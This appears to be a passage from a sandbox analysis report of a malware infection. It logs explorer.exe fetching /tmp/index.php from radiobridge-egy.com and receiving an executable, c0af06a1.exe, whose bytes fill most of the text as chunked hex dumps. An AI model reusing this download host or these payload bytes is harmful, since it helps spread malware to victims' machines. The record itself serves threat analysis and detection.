68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL /tmp/ was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr></body></html>

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
0	192.168.2.4	49708	95.111.233.125	443	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
2023-03-24 00:26:57 UTC	0	OUT	GET /tmp/index.php HTTP/1.1 Connection: Keep-Alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Host: radiobridge-egy.com
2023-03-24 00:26:57 UTC	0	IN	HTTP/1.1 200 OK Date: Fri, 24 Mar 2023 00:26:57 GMT Server: Apache Content-Description: File Transfer Content-Disposition: attachment; filename=c0af06a1.exe Content-Transfer-Encoding: binary Expires: 0 Cache-Control: must-revalidate Pragma: public Connection: close Transfer-Encoding: chunked Content-Type: application/octet-stream
2023-03-24 00:26:57 UTC	0	IN	Data Raw: 32 30 30 30 0d 0a 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 46 9b b2 fb 02 fa dc a8 02 fa dc a8 02 fa dc a8 1c a8 49 a8 1a fa dc a8 1c a8 58 a8 34 fa dc a8 1c a8 5f a8 7c fa dc a8 25 3c a7 a8 0b fa dc a8 02 fa dd a8 94 fa dc a8 1c a8 56 a8 03 fa dc a8 1c a8 48 a8 03 fa dc a8 1c a8 4d a8 03 fa dc a8 52 69 63 68 02 fa dc a8 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 04 00 d9 9d 1a 62 00 00 00 00 00 Data Ascii: 2000MZ@!L!This program cannot be run in DOS mode.$FIX4_\|%<VHMRichPELb
2023-03-24 00:26:57 UTC	8	IN	Data Raw: 24 2a 40 00 45 4e 43 00 20 2a 40 00 5a 48 48 00 1c 2a 40 00 5a 48 49 00 14 2a 40 00 43 48 53 00 00 2a 40 00 5a 48 48 00 ec 29 40 00 43 48 53 00 d8 29 40 00 5a 48 49 00 c4 29 40 00 43 48 54 00 b4 29 40 00 4e 4c 42 00 a0 29 40 00 45 4e 55 00 94 29 40 00 45 4e 41 00 84 29 40 00 45 4e 4c 00 78 29 40 00 45 4e 43 00 64 29 40 00 45 4e 42 00 58 29 40 00 45 4e 49 00 48 29 40 00 45 4e 4a 00 3c 29 40 00 45 4e 5a 00 24 29 40 00 45 4e 53 00 08 29 40 00 45 4e 54 00 fc 28 40 00 45 4e 47 00 f0 28 40 00 45 4e 55 00 e4 28 40 00 45 4e 55 00 d4 28 40 00 46 52 42 00 c4 28 40 00 46 52 43 00 b0 28 40 00 46 52 4c 00 a0 28 40 00 46 52 53 00 90 28 40 00 44 45 41 00 7c 28 40 00 44 45 43 00 68 28 40 00 44 45 4c 00 58 28 40 00 44 45 53 00 48 28 40 00 45 4e 49 00 38 28 40 00 49 54 53 Data Ascii: $@ENC @ZHH@ZHI@CHS*@ZHH)@CHS)@ZHI)@CHT)@NLB)@ENU)@ENA)@ENLx)@ENCd)@ENBX)@ENIH)@ENJ<)@ENZ$)@ENS)@ENT(@ENG(@ENU(@ENU(@FRB(@FRC(@FRL(@FRS(@DEA\|(@DECh(@DELX(@DESH(@ENI8(@ITS
2023-03-24 00:26:57 UTC	8	IN	Data Raw: 0d 0a Data Ascii:
2023-03-24 00:26:57 UTC	8	IN	Data Raw: 32 30 30 30 0d 0a 3c 27 40 00 45 53 47 00 28 27 40 00 45 53 48 00 18 27 40 00 45 53 4d 00 08 27 40 00 45 53 4e 00 f4 26 40 00 45 53 49 00 e4 26 40 00 45 53 41 00 d0 26 40 00 45 53 5a 00 c0 26 40 00 45 53 52 00 ac 26 40 00 45 53 55 00 9c 26 40 00 45 53 59 00 88 26 40 00 45 53 56 00 78 26 40 00 53 56 46 00 70 26 40 00 44 45 53 00 6c 26 40 00 45 4e 47 00 68 26 40 00 45 4e 55 00 64 26 40 00 45 4e 55 00 5c 26 40 00 55 53 41 00 54 26 40 00 47 42 52 00 4c 26 40 00 43 48 4e 00 44 26 40 00 43 5a 45 00 3c 26 40 00 47 42 52 00 2c 26 40 00 47 42 52 00 24 26 40 00 4e 4c 44 00 18 26 40 00 48 4b 47 00 0c 26 40 00 4e 5a 4c 00 08 26 40 00 4e 5a 4c 00 fc 25 40 00 43 48 4e 00 f0 25 40 00 43 48 4e 00 e4 25 40 00 50 52 49 00 dc 25 40 00 53 56 4b 00 cc 25 40 00 5a 41 46 00 c0 Data Ascii: 2000<'@ESG('@ESH'@ESM'@ESN&@ESI&@ESA&@ESZ&@ESR&@ESU&@ESY&@ESVx&@SVFp&@DESl&@ENGh&@ENUd&@ENU\&@USAT&@GBRL&@CHND&@CZE<&@GBR,&@GBR$&@NLD&@HKG&@NZL&@NZL%@CHN%@CHN%@PRI%@SVK%@ZAF
2023-03-24 00:26:57 UTC	16	IN	Data Raw: 1b 00 00 68 08 b4 Data Ascii: h
2023-03-24 00:26:57 UTC	16	IN	Data Raw: 0d 0a Data Ascii:
2023-03-24 00:26:57 UTC	16	IN	Data Raw: 32 30 30 30 0d 0a 47 00 8d 4c 24 0c 88 9c 24 9c 00 00 00 51 c7 44 24 10 c0 3a 40 00 e8 4e 40 00 00 a8 02 74 74 68 8c 39 40 00 8d 4c 24 34 e8 d3 0f 00 00 8d 4c 24 08 c7 84 24 98 00 00 00 02 00 00 00 e8 2b 30 00 00 33 db 6a ff c6 84 24 9c 00 00 00 03 53 8d 54 24 38 52 8d 4c 24 20 c7 44 24 14 84 3a 40 00 c7 44 24 38 0f 00 00 00 89 5c 24 34 88 5c 24 24 e8 6c 1b 00 00 68 08 b4 47 00 8d 44 24 0c c6 84 24 9c 00 00 00 02 50 c7 44 24 10 c0 3a 40 00 e8 d6 3f 00 00 68 a4 39 40 00 8d 4c 24 78 e8 5f 0f 00 00 8d 4c 24 4c c7 84 24 98 00 00 00 04 00 00 00 e8 b7 2f 00 00 33 db 6a ff c6 84 24 9c 00 00 00 05 53 8d 4c 24 7c 51 8d 4c 24 64 c7 44 24 58 84 3a 40 00 c7 44 24 7c 0f 00 00 00 89 5c 24 78 88 5c 24 68 e8 f8 1a 00 00 68 08 b4 47 00 8d 54 24 50 c6 84 24 9c 00 00 00 04 Data Ascii: 2000GL$$QD$:@N@tth9@L$4L$$+03j$ST$8RL$ D$:@D$8\$4\$$lhGD$$PD$:@?h9@L$x_L$L$/3j$SL$\|QL$dD$X:@D$\|\$x\$hhGT$P$
2023-03-24 00:26:57 UTC	24	IN	Data Raw: d5 2b c7 50 8b 44 Data Ascii: +PD
2023-03-24 00:26:57 UTC	24	IN	Data Raw: 0d 0a Data Ascii:
2023-03-24 00:26:57 UTC	24	IN	Data Raw: 32 30 30 30 0d 0a 24 18 03 c3 03 c7 50 2b cb 51 03 d3 52 e8 4a 0f 00 00 8b 46 14 2b c7 83 c4 10 83 7e 18 10 89 46 14 72 03 8b 6d 00 c6 04 28 00 5d 5f 8b c6 5e 5b c2 08 00 cc cc cc cc cc cc cc cc cc cc cc cc cc 6a ff 68 00 ab 47 00 64 a1 00 00 00 00 50 64 89 25 00 00 00 00 51 53 56 57 8b 7c 24 20 33 db 89 5c 24 0c 8b 07 8b 48 04 c7 04 0f 18 3a 40 00 8b 17 89 5f 04 8b 72 04 03 f7 e8 c2 e0 ff ff 8b 44 24 24 56 89 46 28 89 5e 2c e8 c2 01 00 00 88 46 30 39 5e 28 75 18 8b 46 08 83 c8 04 83 e0 17 89 46 08 85 46 0c 74 07 8b ce e8 c2 de ff ff 8b 4c 24 10 89 5e 04 8b c7 5f 5e 64 89 0d 00 00 00 00 5b 83 c4 10 c2 08 00 cc cc cc cc cc cc cc cc cc 55 8b ec 6a ff 68 70 a9 47 00 64 a1 00 00 00 00 50 64 89 25 00 00 00 00 83 ec 1c 8b 45 08 53 56 8b f0 57 83 ce 0f 8b f9 89 Data Ascii: 2000$P+QRJF+~Frm(]_^[jhGdPd%QSVW\|$ 3\$H:@_rD$$VF(^,F09^(uFFFtL$^_^d[UjhpGdPd%ESVW
2023-03-24 00:26:57 UTC	32	IN	Data Raw: 24 0c 53 56 57 89 Data Ascii: $SVW
2023-03-24 00:26:57 UTC	32	IN	Data Raw: 0d 0a Data Ascii:
2023-03-24 00:26:57 UTC	32	IN	Data Raw: 32 30 30 30 0d 0a 28 8b e8 a1 08 d2 47 00 33 c5 50 ff 75 fc c7 45 fc ff ff ff ff 8d 45 f4 64 a3 00 00 00 00 c3 50 64 ff 35 00 00 00 00 8d 44 24 0c 2b 64 24 0c 53 56 57 89 28 8b e8 a1 08 d2 47 00 33 c5 50 89 65 f0 ff 75 fc c7 45 fc ff ff ff ff 8d 45 f4 64 a3 00 00 00 00 c3 8b 4d f4 64 89 0d 00 00 00 00 59 5f 5f 5e 5b 8b e5 5d 51 c3 8b ff 55 8b ec 83 ec 20 8b 45 08 56 57 6a 08 59 be 44 13 40 00 8d 7d e0 f3 a5 89 45 f8 8b 45 0c 5f 89 45 fc 5e 85 c0 74 0c f6 00 08 74 07 c7 45 f4 00 40 99 01 8d 45 f4 50 ff 75 f0 ff 75 e4 ff 75 e0 ff 15 50 11 40 00 c9 c2 08 00 8b ff 55 8b ec 53 56 8b 75 08 8b 86 bc 00 00 00 33 db 57 3b c3 74 6f 3d 50 dc 47 00 74 68 8b 86 b0 00 00 00 3b c3 74 5e 39 18 75 5a 8b 86 b8 00 00 00 3b c3 74 17 39 18 75 13 50 e8 06 f1 ff ff ff b6 bc 00 Data Ascii: 2000(G3PuEEdPd5D$+d$SVW(G3PeuEEdMdY__^[]QU EVWjYD@}EE_E^ttE@EPuuuP@USVu3W;to=PGth;t^9uZ;t9uP
2023-03-24 00:26:57 UTC	40	IN	Data Raw: ff 47 00 83 7d 0c Data Ascii: G}
2023-03-24 00:26:57 UTC	40	IN	Data Raw: 0d 0a Data Ascii:
2023-03-24 00:26:57 UTC	40	IN	Data Raw: 32 30 30 30 0d 0a 00 0f 85 9d 00 00 00 ff 35 08 03 74 00 e8 bd 35 00 00 59 8b f8 89 7d d8 85 ff 74 78 ff 35 04 03 74 00 e8 a8 35 00 00 59 8b f0 89 75 dc 89 7d e4 89 75 e0 83 ee 04 89 75 dc 3b f7 72 57 e8 84 35 00 00 39 06 74 ed 3b f7 72 4a ff 36 e8 7e 35 00 00 8b f8 e8 6e 35 00 00 89 06 ff d7 ff 35 08 03 74 00 e8 68 35 00 00 8b f8 ff 35 04 03 74 00 e8 5b 35 00 00 83 c4 0c 39 7d e4 75 05 39 45 e0 74 0e 89 7d e4 89 7d d8 89 45 e0 8b f0 89 75 dc 8b 7d d8 eb 9f 68 64 12 40 00 b8 58 12 40 00 e8 5f fe ff ff 59 68 6c 12 40 00 b8 68 12 40 00 e8 4f fe ff ff 59 c7 45 fc fe ff ff ff e8 1f 00 00 00 83 7d 10 00 75 28 89 1d fc ff 47 00 6a 08 e8 42 1c 00 00 59 ff 75 08 e8 fc fd ff ff 33 db 43 83 7d 10 00 74 08 6a 08 e8 29 1c 00 00 59 c3 e8 3a 28 00 00 c3 8b ff 55 8b ec Data Ascii: 20005t5Y}tx5t5Yu}uu;rW59t;rJ6~5n55th55t[59}u9Et}}Eu}hd@X@_Yhl@h@OYE}u(GjBYu3C}tj)Y:(U
2023-03-24 00:26:57 UTC	48	IN	Data Raw: 75 60 8a 4c 02 04 Data Ascii: u`L
2023-03-24 00:26:57 UTC	48	IN	Data Raw: 0d 0a Data Ascii:
2023-03-24 00:26:57 UTC	48	IN	Data Raw: 32 30 30 30 0d 0a 88 4d 0f fe c1 88 4c 02 04 83 fa 20 73 25 80 7d 0f 00 75 0e 8b ca bb 00 00 00 80 d3 eb 8b 4d 08 09 19 bb 00 00 00 80 8b ca d3 eb 8d 44 b8 44 09 18 eb 29 80 7d 0f 00 75 10 8d 4a e0 bb 00 00 00 80 d3 eb 8b 4d 08 09 59 04 8d 4a e0 ba 00 00 00 80 d3 ea 8d 84 b8 c4 00 00 00 09 10 8b 45 fc 89 06 89 44 30 fc 8b 45 f0 ff 08 0f 85 f3 00 00 00 a1 80 04 48 00 85 c0 0f 84 d8 00 00 00 8b 0d f8 02 74 00 8b 35 78 11 40 00 68 00 40 00 00 c1 e1 0f 03 48 0c bb 00 80 00 00 53 51 ff d6 8b 0d f8 02 74 00 a1 80 04 48 00 ba 00 00 00 80 d3 ea 09 50 08 a1 80 04 48 00 8b 40 10 8b 0d f8 02 74 00 83 a4 88 c4 00 00 00 00 a1 80 04 48 00 8b 40 10 fe 48 43 a1 80 04 48 00 8b 48 10 80 79 43 00 75 09 83 60 04 fe a1 80 04 48 00 83 78 08 ff 75 65 53 6a 00 ff 70 0c ff d6 a1 Data Ascii: 2000ML s%}uMDD)}uJMYJED0EHt5x@h@HSQtHPH@tH@HCHHyCu`HxueSjp
2023-03-24 00:26:57 UTC	56	IN	Data Raw: ff 75 05 bf ff ff Data Ascii: u
2023-03-24 00:26:57 UTC	56	IN	Data Raw: 0d 0a Data Ascii:
2023-03-24 00:26:57 UTC	56	IN	Data Raw: 31 66 66 38 0d 0a ff 7f 83 c3 04 f6 85 f8 fb ff ff 20 89 9d e4 fb ff ff 8b 5b fc 89 9d f0 fb ff ff 0f 84 08 05 00 00 85 db 75 0b a1 d0 d3 47 00 89 85 f0 fb ff ff 83 a5 ec fb ff ff 00 8b b5 f0 fb ff ff 85 ff 0f 8e 20 05 00 00 8a 06 84 c0 0f 84 16 05 00 00 8d 8d a8 fb ff ff 0f b6 c0 51 50 e8 92 fa ff ff 59 59 85 c0 74 01 46 46 ff 85 ec fb ff ff 39 bd ec fb ff ff 7c d0 e9 eb 04 00 00 83 e8 58 0f 84 f7 02 00 00 2b c7 0f 84 94 00 00 00 2b c1 0f 84 f6 fe ff ff 2b c7 0f 85 ca 04 00 00 0f b7 03 83 c3 04 33 f6 46 f6 85 f8 fb ff ff 20 89 b5 d8 fb ff ff 89 9d e4 fb ff ff 89 85 9c fb ff ff 74 42 88 85 cc fb ff ff 8d 85 a8 fb ff ff 50 8b 85 a8 fb ff ff c6 85 cd fb ff ff 00 ff b0 ac 00 00 00 8d 85 cc fb ff ff 50 8d 85 fc fb ff ff 50 e8 d9 6f 00 00 83 c4 10 85 c0 7d 0f Data Ascii: 1ff8 [uG QPYYtFF9\|X+++3F tBPPPo}
2023-03-24 00:26:57 UTC	64	IN	Data Raw: 32 30 30 30 0d 0a Data Ascii: 2000
2023-03-24 00:26:57 UTC	64	IN	Data Raw: 15 28 11 40 00 83 3d 40 07 48 00 00 75 08 6a 01 e8 6f e7 ff ff 59 68 09 04 00 c0 ff 15 40 11 40 00 50 ff 15 3c 11 40 00 c9 c3 8b ff 55 8b ec 83 ec 10 0f b7 48 42 0f b7 50 44 89 4d fc 89 55 f8 85 f6 75 05 83 c8 ff c9 c3 83 65 f4 00 53 57 89 45 f0 8d 46 04 50 6a 31 51 33 db 43 8d 45 f0 53 50 e8 e6 30 00 00 8b f8 8d 46 08 50 6a 32 ff 75 fc 8d 45 f0 53 50 e8 d1 30 00 00 0b f8 8d 46 0c 50 6a 33 ff 75 fc 8d 45 f0 53 50 e8 bc 30 00 00 0b f8 8d 46 10 50 6a 34 ff 75 fc 8d 45 f0 53 50 e8 a7 30 00 00 83 c4 50 0b f8 8d 46 14 50 6a 35 ff 75 fc 8d 45 f0 53 50 e8 8f 30 00 00 0b f8 8d 46 18 50 6a 36 ff 75 fc 8d 45 f0 53 50 e8 7a 30 00 00 56 6a 37 ff 75 fc 0b f8 8d 45 f0 53 50 e8 68 30 00 00 0b f8 8d 46 20 50 6a 2a ff 75 fc 8d 45 f0 53 50 e8 53 30 00 00 83 c4 50 0b f8 8d Data Ascii: (@=@HujoYh@@P<@UHBPDMUueSWEFPj1Q3CESP0FPj2uESP0FPj3uESP0FPj4uESP0PFPj5uESP0FPj6uESPz0Vj7uESPh0F Pj*uESPS0P
2023-03-24 00:26:57 UTC	72	IN	Data Raw: 0d 0a Data Ascii:
2023-03-24 00:26:57 UTC	72	IN	Data Raw: 32 30 30 30 0d 0a 54 12 ff 8b f2 85 f6 0f 85 a0 f9 ff ff 0f b6 70 f5 0f b6 51 f5 2b f2 74 15 33 d2 85 f6 0f 9f c2 8d 54 12 ff 8b f2 85 f6 0f 85 7f f9 ff ff 0f b6 70 f6 0f b6 51 f6 2b f2 74 11 33 d2 85 f6 0f 9f c2 8d 54 12 ff 8b f2 eb 02 33 f6 85 f6 0f 85 5a f9 ff ff 8b 50 f7 3b 51 f7 74 7e 0f b6 51 f7 0f b6 70 f7 2b f2 74 15 33 d2 85 f6 0f 9f c2 8d 54 12 ff 8b f2 85 f6 0f 85 31 f9 ff ff 0f b6 70 f8 0f b6 51 f8 2b f2 74 15 33 d2 85 f6 0f 9f c2 8d 54 12 ff 8b f2 85 f6 0f 85 10 f9 ff ff 0f b6 70 f9 0f b6 51 f9 2b f2 74 15 33 d2 85 f6 0f 9f c2 8d 54 12 ff 8b f2 85 f6 0f 85 ef f8 ff ff 0f b6 70 fa 0f b6 51 fa 2b f2 74 11 33 d2 85 f6 0f 9f c2 8d 54 12 ff 8b f2 eb 02 33 f6 85 f6 0f 85 ca f8 ff ff 8b 50 fb 3b 51 fb 74 7d 0f b6 f2 0f b6 51 fb 2b f2 74 15 33 d2 85 Data Ascii: 2000TpQ+t3TpQ+t3T3ZP;Qt~Qp+t3T1pQ+t3TpQ+t3TpQ+t3T3P;Qt}Q+t3
2023-03-24 00:26:57 UTC	80	IN	Data Raw: 8b c6 8b d6 e9 d0 Data Ascii:
2023-03-24 00:26:57 UTC	80	IN	Data Raw: 0d 0a Data Ascii:
2023-03-24 00:26:57 UTC	80	IN	Data Raw: 32 30 30 30 0d 0a 00 00 00 33 ff 3b c7 7c 08 3b 05 c8 01 74 00 72 21 e8 ac 69 ff ff 89 38 e8 92 69 ff ff c7 00 09 00 00 00 57 57 57 57 57 e8 a4 36 ff ff 83 c4 14 eb c8 8b c8 c1 f9 05 8d 1c 8d e0 01 74 00 8b f0 83 e6 1f c1 e6 06 8b 0b 0f be 4c 31 04 83 e1 01 75 26 e8 6b 69 ff ff 89 38 e8 51 69 ff ff c7 00 09 00 00 00 57 57 57 57 57 e8 63 36 ff ff 83 c4 14 83 ca ff 8b c2 eb 5b 50 e8 ad 2b 00 00 59 89 7d fc 8b 03 f6 44 30 04 01 74 1c ff 75 14 ff 75 10 ff 75 0c ff 75 08 e8 a9 fe ff ff 83 c4 10 89 45 dc 89 55 e0 eb 1a e8 03 69 ff ff c7 00 09 00 00 00 e8 0b 69 ff ff 89 38 83 4d dc ff 83 4d e0 ff c7 45 fc fe ff ff ff e8 0c 00 00 00 8b 45 dc 8b 55 e0 e8 5d 88 ff ff c3 ff 75 08 e8 ea 2b 00 00 59 c3 8b ff 55 8b ec b8 e4 1a 00 00 e8 c6 16 00 00 a1 08 d2 47 00 33 c5 Data Ascii: 20003;\|;tr!i8iWWWWW6tL1u&ki8QiWWWWWc6[P+Y}D0tuuuuEUii8MMEEU]u+YUG3
2023-03-24 00:26:57 UTC	88	IN	Data Raw: ff 8a 08 80 f9 66 Data Ascii: f
2023-03-24 00:26:57 UTC	88	IN	Data Raw: 0d 0a Data Ascii:
2023-03-24 00:26:57 UTC	88	IN	Data Raw: 32 30 30 30 0d 0a 74 05 80 f9 46 75 06 c6 00 30 48 eb ee 3b 45 0c 74 14 8a 08 80 f9 39 75 07 80 c3 3a 88 18 eb 09 fe c1 88 08 eb 03 fe 40 ff 83 7d 14 00 7e 11 ff 75 14 6a 30 56 e8 5e 41 ff ff 83 c4 0c 03 75 14 8b 45 0c 80 38 00 75 02 8b f0 83 7d 18 00 b1 34 0f 94 c0 fe c8 24 e0 04 70 88 06 8b 07 8b 57 04 46 e8 22 17 00 00 33 db 25 ff 07 00 00 23 d3 2b 45 ec 53 59 1b d1 78 0c 7f 04 3b c3 72 06 c6 06 2b 46 eb 0a c6 06 2d 46 f7 d8 13 d3 f7 da 3b d3 8b fe c6 06 30 7c 24 b9 e8 03 00 00 7f 04 3b c1 72 19 53 51 52 50 e8 fd 15 00 00 04 30 88 06 46 89 55 f0 8b c1 8b d3 3b f7 75 0b 85 d2 7c 1e 7f 05 83 f8 64 72 17 6a 00 6a 64 52 50 e8 d7 15 00 00 04 30 88 06 89 55 f0 46 8b c1 8b d3 3b f7 75 0b 85 d2 7c 1f 7f 05 83 f8 0a 72 18 6a 00 6a 0a 52 50 e8 b1 15 00 00 04 30 Data Ascii: 2000tFu0H;Et9u:@}~uj0V^AuE8u}4$pWF"3%#+ESYx;r+F-F;0\|$;rSQRP0FU;u\|drjjdRP0UF;u\|rjjRP0
2023-03-24 00:26:57 UTC	96	IN	Data Raw: 5a 2b ce 3b d0 7c Data Ascii: Z+;\|
2023-03-24 00:26:57 UTC	96	IN	Data Raw: 0d 0a Data Ascii:
2023-03-24 00:26:57 UTC	96	IN	Data Raw: 32 30 30 30 0d 0a 08 8b 31 89 74 95 e0 eb 05 83 64 95 e0 00 4a 83 e9 04 85 d2 7d e7 33 c0 5e 6a 1f 59 2b 0d fc e1 47 00 d3 e3 8b 4d ec f7 d9 1b c9 81 e1 00 00 00 80 0b d9 8b 0d 00 e2 47 00 0b 5d e0 83 f9 40 75 0d 8b 4d 0c 8b 55 e4 89 59 04 89 11 eb 0a 83 f9 20 75 05 8b 4d 0c 89 19 5f 5b c9 c3 8b ff 55 8b ec 83 ec 2c 8b 45 08 0f b7 48 0a 53 8b d9 81 e1 00 80 00 00 89 4d ec 8b 48 06 89 4d e0 8b 48 02 0f b7 00 81 e3 ff 7f 00 00 81 eb ff 3f 00 00 c1 e0 10 57 89 4d e4 89 45 e8 81 fb 01 c0 ff ff 75 27 33 db 33 c0 39 5c 85 e0 75 0d 40 83 f8 03 7c f4 33 c0 e9 a5 04 00 00 33 c0 8d 7d e0 ab ab 6a 02 ab 58 e9 95 04 00 00 83 65 08 00 56 8d 75 e0 8d 7d d4 a5 a5 a5 8b 35 10 e2 47 00 4e 8d 4e 01 8b c1 99 83 e2 1f 03 c2 c1 f8 05 8b d1 81 e2 1f 00 00 80 89 5d f0 89 45 f4 Data Ascii: 20001tdJ}3^jY+GMG]@uMUY uM_[U,EHSMHMH?WMEu'339\u@\|33}jXeVu}5GNN]E
2023-03-24 00:26:57 UTC	104	IN	Data Raw: 00 00 00 00 00 00 Data Ascii:
2023-03-24 00:26:57 UTC	104	IN	Data Raw: 0d 0a Data Ascii:
2023-03-24 00:26:57 UTC	104	IN	Data Raw: 32 30 30 30 0d 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: 2000
2023-03-24 00:26:57 UTC	112	IN	Data Raw: 66 55 97 3d 44 93 Data Ascii: fU=D
2023-03-24 00:26:57 UTC	112	IN	Data Raw: 0d 0a Data Ascii:
2023-03-24 00:26:57 UTC	112	IN	Data Raw: 32 30 30 30 0d 0a 2d 84 cd 40 1a f6 a3 b6 bf 14 8e 1f fa 8a 3b 69 cd 93 a3 0b 01 cb 0b 6c 5d 01 33 f4 67 01 c3 d5 a2 ac 5e 4d 8a 47 74 c8 f0 af 4e 2f 4f 44 13 52 fe e9 8b 78 0c 4d f4 a6 fa c3 01 0e a9 3f 53 af 64 8a 14 ec a0 51 02 ed 99 74 d1 ee 07 db cc f2 37 49 a1 2c f8 1c 27 86 87 d0 f5 e3 3c e1 27 e4 6b 04 38 5d 0d fa bb b8 c3 01 bc 8c 87 5d ee 6c 0c b2 12 ef cb e8 9d 24 7e b4 02 6d f3 2c 16 63 bf c0 ac 32 b8 f3 4b 22 46 ac 02 22 a6 65 ea ef 1d d1 cb a0 15 22 e8 6d 7f ea db 7b 0e 5f c0 b9 b8 38 30 8e e1 ce 74 44 82 2d 6d 43 72 78 fa c9 14 53 b3 d9 02 0e d8 63 7e f4 bd c4 f8 63 46 e6 d2 83 58 3b 42 a4 e8 57 b9 fe 6e e1 d4 ae 55 a5 e3 06 b1 83 7b 6d 9e cd 17 d1 ef 6e 70 b1 1a 61 69 99 95 e3 7f 31 f0 b4 54 73 89 33 fd 2f 47 18 1f b6 7e c2 82 17 47 2e 7b Data Ascii: 2000-@;il]3g^MGtN/ODRxM?SdQt7I,'<'k8]]l$~m,c2K"F"e"m{_80tD-mCrxSc~cFX;BWnU{mnpai1Ts3/G~G.{
2023-03-24 00:26:57 UTC	120	IN	Data Raw: f2 91 5a 62 16 be Data Ascii: Zb
2023-03-24 00:26:57 UTC	120	IN	Data Raw: 0d 0a Data Ascii:
2023-03-24 00:26:57 UTC	120	IN	Data Raw: 31 66 66 38 0d 0a 65 d7 08 17 28 f2 5b df a7 c4 8e 56 d1 7e 27 4e a1 95 1b ba 75 f2 09 3f 60 b3 ed 99 f9 90 74 ff d5 c1 b8 f5 08 98 59 b6 79 7f 0c 00 9c b4 53 59 45 db ad e7 59 ca 4c 89 4d 7d 7a f5 fc 8a d3 57 d9 5a 9f b1 dc 45 74 07 5b 68 8b a5 b2 83 51 f7 9a c4 7a 20 83 59 0b fb c1 d0 b9 85 28 50 de ba db 63 58 0e 94 18 d7 18 cd 8d 49 00 ba 65 4b dd 1b 37 6e a5 e5 f6 4d a9 a7 7c 74 06 2a 83 d7 58 5f 09 d4 ce 03 2f 5e 32 13 a5 be a3 b6 e4 dd fd 35 9e e5 95 38 09 c8 f1 23 03 17 08 a7 46 05 a6 c2 a2 8b bd 7c 7f 55 5b cc 17 15 60 5c 34 84 d4 fc 63 ff 48 00 40 7b bd 5a 6c 4e e9 23 8a 35 72 c6 86 e0 04 d5 85 16 5f fb bc d1 35 0f 93 9d 65 ed 0a 75 4f 6e 6d 88 3f 34 6b 83 12 86 c5 46 74 67 87 26 d0 f2 c6 cd 45 5e fc 78 a1 25 6b dd 9e 82 b8 ae 23 41 67 bc 17 e3 Data Ascii: 1ff8e([V~'Nu?`tYySYEYLM}zWZEt[hQz Y(PcXIeK7nM\|t*X_/^258#F\|U[`\4cH@{ZlN#5r_5euOnm?4kFtg&E^x%k#Ag
2023-03-24 00:26:57 UTC	128	IN	Data Raw: 32 30 30 30 0d 0a Data Ascii: 2000
2023-03-24 00:26:57 UTC	128	IN	Data Raw: 1e ce d3 e0 47 ab ea 45 1c 51 cd 28 7c 4b 17 56 a6 b3 e6 7a 43 fa 46 15 09 e8 55 79 61 62 a5 6b 47 5c 5f 63 f2 48 8e 47 32 6c db dc a8 38 cd b2 e4 22 cc 7c 66 14 b8 7b 09 98 d3 91 9c 61 73 9b ac a3 11 d1 94 46 06 36 82 9f 23 62 cd 4c b7 a0 42 af 99 3b c8 b1 c4 af 22 b5 1c d1 91 c9 6a 72 ef 43 0d b7 90 2b 1f 54 04 e1 a7 ff ba fb d4 45 79 af 50 c8 db f7 74 2a 5f 03 02 55 bd 85 fd 4c f9 07 df 36 5f 65 07 c8 b9 a4 e0 39 34 59 13 f8 5f 02 61 4b 8f f0 11 18 64 0e 52 74 39 8f 5f 76 6e 81 5b 99 9d af 46 8e 19 03 40 cb 89 98 85 e6 c8 85 40 98 48 da d8 c2 b1 13 67 e8 53 54 b0 8c ba 49 37 0c ab 49 48 b1 b3 51 db 3a d1 4e 94 78 9b e7 df 0f cb 90 6e d1 65 a2 e9 4e 6b 92 a6 cb e0 c3 d5 e7 42 51 35 9d 3d b3 3c 62 78 8a 1d d2 b0 99 04 66 9c 18 ff 82 24 f3 fc a1 d1 78 b4 Data Ascii: GEQ(\|KVzCFUyabkG\_cHG2l8"\|f{asF6#bLB;"jrC+TEyPt*_UL6_e94Y_aKdRt9_vn[F@@HgSTI7IHQ:NxneNkBQ5=<bxf$x
2023-03-24 00:26:57 UTC	136	IN	Data Raw: 0d 0a Data Ascii:
